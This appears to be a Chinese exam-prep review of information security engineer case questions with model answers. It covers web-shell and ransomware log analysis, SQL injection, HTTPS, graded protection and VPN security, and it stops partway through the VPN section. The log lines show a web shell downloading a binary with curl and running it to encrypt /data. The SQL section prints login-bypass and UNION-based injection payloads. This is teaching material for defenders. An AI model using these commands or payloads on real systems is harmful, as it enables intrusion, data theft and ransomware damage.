信息安全工程师历年案例真题解析

信息安全工程师历年案例真题解析一、网络安全应急响应与日志分析（15分）某公司对外提供Web服务的Linux服务器被植入勒索软件。安全管理员提取了当天部分访问日志：0--[12/Mar/2025:08:23:45+0800]"POST/upload.phpHTTP/1.1"200523

0--[12/Mar/2025:08:23:50+0800]"GET/uploads/shell.php?cmd=whoamiHTTP/1.1"200234

0--[12/Mar/2025:08:31:12+0800]"GET/uploads/shell.php?cmd=curl%206/a.out%20-o%20/tmp/a.outHTTP/1.1"2001280

0--[12/Mar/2025:08:45:00+0800]"GET/uploads/shell.php?cmd=/tmp/a.out%20-encrypt%20/dataHTTP/1.1"200256请回答以下问题：1.（4分）判断攻击者利用Web应用的什么功能上传了后门？后门文件名是什么？2.（5分）结合日志还原本次攻击链，说明攻击者最终做了什么事。3.（6分）作为应急响应人员，请给出至少6项处置与加固建议。答案1.利用/upload.php的文件上传功能；后门文件为uploads/shell.php。客户端先通过POST/upload.php上传，随后对uploads/shell.php发起带参数的GET请求执行命令。2.攻击链还原：•攻击者通过上传功能将shell.php上传到uploads目录；•向shell.php传递cmd=whoami，执行系统命令探测权限；•使用curl从6下载恶意程序到/tmp/a.out；•执行/tmp/a.out-encrypt/data，对/data目录进行加密，造成勒索。3.处置与加固建议：•立即断开被感染服务器的外网连接，阻断勒索软件回连和横向扩散；•保留原始日志、恶意样本、内存和磁盘镜像，以便溯源取证；•终止恶意进程，删除uploads/shell.php和/tmp/a.out等恶意文件；•全面修改系统口令、应用口令、数据库口令，撤销已泄露的密钥或证书；•从备份恢复数据，并对备份文件先进行病毒查杀；•修复文件上传漏洞，采用白名单校验文件类型、内容、大小，禁止上传目录执行脚本；•及时安装系统与应用补丁，部署WAF、EDR或主机入侵检测系统。解析日志关键证据是POST/upload.php成功后紧接访问uploads/shell.php，说明上传功能缺少内容校验，且上传目录具备脚本执行权限。应急响应应遵循“先隔离、后取证、再恢复”的原则，避免直接关闭主机导致内存中的攻击痕迹丢失。二、SQL注入漏洞分析与修复（15分）某系统登录功能使用Java实现，核心代码如下：Stringusername=request.getParameter("username");

Stringpassword=request.getParameter("password");

Stringsql="SELECT*FROMusersWHEREusername='"+username

+"'ANDpassword='"+password+"'";

Statementstmt=conn.createStatement();

ResultSetrs=stmt.executeQuery(sql);请回答以下问题：1.（5分）攻击者在username参数中构造什么输入，可以在不知道密码的情况下登录成功？写出构造后的完整SQL并解释原理。2.（5分）假设使用MySQL数据库且该表共有4列，攻击者如何利用联合查询获取当前数据库版本？写出注入语句。3.（5分）给出至少4条修复建议。答案1.在username参数中输入：admin'OR'1'='1'--password可输入任意值。最终SQL变为：SELECT*FROMusersWHEREusername='admin'OR'1'='1'--'ANDpassword='xxx'OR'1'='1'使条件恒为真，--注释掉后面的密码校验条件。如果程序仅判断结果集是否为空，即可绕过身份认证。2.在username参数中输入：'UNIONSELECT1,@@version,3,4--最终SQL变为：SELECT*FROMusersWHEREusername=''UNIONSELECT1,@@version,3,4--'ANDpassword='xxx'联合查询要求前后结果集列数一致，该表有4列，因此使用4个字段；@@version是MySQL的版本变量，可返回当前数据库版本。3.修复建议：•使用PreparedStatement预编译语句，通过参数绑定方式传值，禁止拼接SQL；•数据库账号遵循最小权限原则，应用账号不使用管理员权限；•对用户名等输入进行白名单校验，限制长度与合法字符；•统一异常处理，避免向客户端返回详细数据库错误信息；•部署WAF或Web应用防火墙，对SQL注入特征进行过滤；•定期进行代码审计和渗透测试。解析SQL注入的本质是“数据”与“代码”未分离。字符串拼接将用户输入变成了SQL语法的一部分，而预编译语句将参数作为数据处理，因此可有效防止注入。三、HTTPS与密码学应用（15分）某金融机构网站启用HTTPS，服务器证书由国内CA签发，RSA密钥长度为2048位；浏览器与服务器之间的业务数据使用AES-128-GCM算法加密。请回答以下问题：1.（4分）数字证书在HTTPS连接建立过程中起什么作用？2.（5分）说明RSA公钥和私钥在“加密通信”与“数字签名”两种场景下的使用区别。3.（6分）为什么业务数据不直接使用RSA加密，而是采用RSA协商或传递密钥后再用AES加密业务数据？请从性能和安全性两个角度分析。答案1.数字证书由CA签名，将服务器身份标识与RSA公钥绑定。客户端通过验证证书链，确认服务器身份可信，并获取服务器公钥用于后续密钥协商，从而防止中间人伪造服务器公钥。2.加密通信时，发送方使用接收方的公钥加密，接收方使用自己的私钥解密；数字签名时，签名者使用自己的私钥生成签名，验证者使用签名者的公钥验证签名。即“公钥加密、私钥解密”保证机密性，“私钥签名、公钥验签”保证完整性和不可否认性。3.性能角度：RSA等非对称算法基于大数模幂运算，速度远低于对称算法；业务数据量大时直接使用RSA加密会产生严重性能开销。AES-128-GCM运算简单、可硬件加速，适合加密大批量业务数据。安全性角度：RSA加密长度受限，直接加密长数据不灵活；使用同一个RSA密钥加密大量数据会增加长期密钥暴露和被密码分析的风险。HTTPS采用混合加密，先用RSA或ECDHE协商临时会话密钥，再用AES会话密钥加密实际业务数据。这样既解决了对称密钥分发问题，又限制了长期私钥的使用范围；若使用ECDHE协商密钥，还可提供前向保密。解析HTTPS的实质是混合加密体系，证书负责确认身份可信，TLS握手负责协商会话密钥，AES等对称算法负责高效加密实际业务数据。四、等级保护与安全域规划（15分）某单位政务信息系统拟按等级保护三级进行建设，网络中包含核心数据库、应用服务器、办公终端和互联网出口。请回答以下问题：1.（5分）给出安全域划分建议，并说明各安全域边界的主要防护手段。2.（5分）简述等级保护三级在“身份鉴别”方面的基本要求（至少4条）。3.（5分）简述等级保护三级在“安全审计”方面的基本要求（至少4条）。答案1.安全域划分建议：•核心数据区：部署数据库服务器，只允许应用服务区指定服务器和端口访问，开启数据库审计与加密存储；•应用服务区：部署Web和业务应用服务器，对外通过防火墙、WAF发布，与核心数据区之间实施严格的访问控制；•终端接入区：办公终端统一接入，部署杀毒软件、EDR、准入控制，禁止终端直连核心数据区；•安全管理区：部署堡垒机、日志审计平台、态势感知或安全管理平台，管理操作通过堡垒机进行；•外联边界区：部署防火墙、入侵防御系统、防DDoS设备和VPN网关，实现互联网边界访问控制与加密接入。2.身份鉴别基本要求：•用户身份标识唯一，鉴别信息具有复杂度要求并定期更换；•启用登录失败处理功能，包括结束会话、限制非法登录次数、登录超时退出；•远程管理时采取措施防止鉴别信息在传输过程中被窃听，如使用SSH或VPN；•对用户采用两种或两种以上组合鉴别技术，且其中一种应为密码技术，即关键用户或管理用户应采用多因素认证。3.安全审计基本要求：•对登录用户进行安全审计，审计覆盖到每个用户，重要用户行为和重要安全事件均应审计；•审计记录包含日期时间、用户、事件类型、事件结果等必要信息；•对审计记录进行保护并定期备份，防止未预期的删除、修改或覆盖；•审计进程应受到保护，防止未经授权中断；•审计日志留存不少于6个月。解析安全域划分遵循最小授权和纵深防御原则。等级保护三级尤其强调双因素认证、集中审计与边界防护的协同落地。五、VPN安全接入与身份认证（15分）某企业允许员工通过互联网远程接入内部办公系统。方案一使用IPsecVPN，方案二使用SSLVPN。请回答以下问题：1.（4分）比较IPsecVPN与SSLVPN在适用场景上的差异。2.（5分）说明SSLVPN在建立TLS握手时至少应完成哪些工作（至少三件）。3.（6分）除VPN隧道加密外，还应部署哪些安全措施以增强远程接入安全？请列出至少6项。答案1.IPsecVPN工作在网络层，对IP报文进行加密和封装，可支持所有基于IP的应用，适合站点到站点或整网接入，但通常需要安装客户端或由专用设备支持，对NAT和防火墙穿越不够友好。SSLVPN基于SSL/TLS协议，工作在传输层或应用层，通过浏览器或轻量客户端建立安全通道，无需为每种应用单独配置，适合远程个人用户按需访问Web或特定业务系统，穿越NAT和防火墙更容易，但对复杂非Web应用的兼容性略差。2.TLS握手至少完成以下工作：•协商TLS协议版本和加密套件；•验证服务器数字证书，确认服务器身份，可选地验证客户端证书；•通过密钥交换生成会话密钥，后续使用对称密钥加密应用数据；•双方校验Finished消息，确认握手过程完整且未被篡改。3.增强远程接入安全的措施：•启用多因素认证，如密码加动态令牌、证书或生物特征；•对远程接入终端进行安全基线检查和准入控制，要求安装补丁、杀毒软件并启用防火墙；•按最小权限原则分配访问范围，只开放业务所需